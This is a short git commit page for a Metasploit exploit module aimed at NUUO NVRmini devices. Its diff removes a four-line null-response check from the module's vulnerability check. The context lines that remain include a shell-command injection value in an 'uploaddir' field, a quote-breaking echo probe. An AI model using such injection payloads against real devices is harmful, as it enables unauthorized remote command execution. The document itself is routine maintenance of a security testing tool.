Update nuuo_nvrmini_upgrade_rce.rb

GSoC/Meterpreter_Web_Console
Berk Dusunur 2018-12-06 06:34:13 +03:00 committed by GitHub
parent ca558d4b14
commit 4880dcbda8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 4 deletions

View File

@ -48,10 +48,6 @@ class MetasploitModule < Msf::Exploit::Remote
'uploaddir' => "';echo '#{Rex::Text.rand_text_alphanumeric(10..15)}';'"
}
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 200 and res.body =~ /upload_tmp_dir/
return Exploit::CheckCode::Vulnerable
end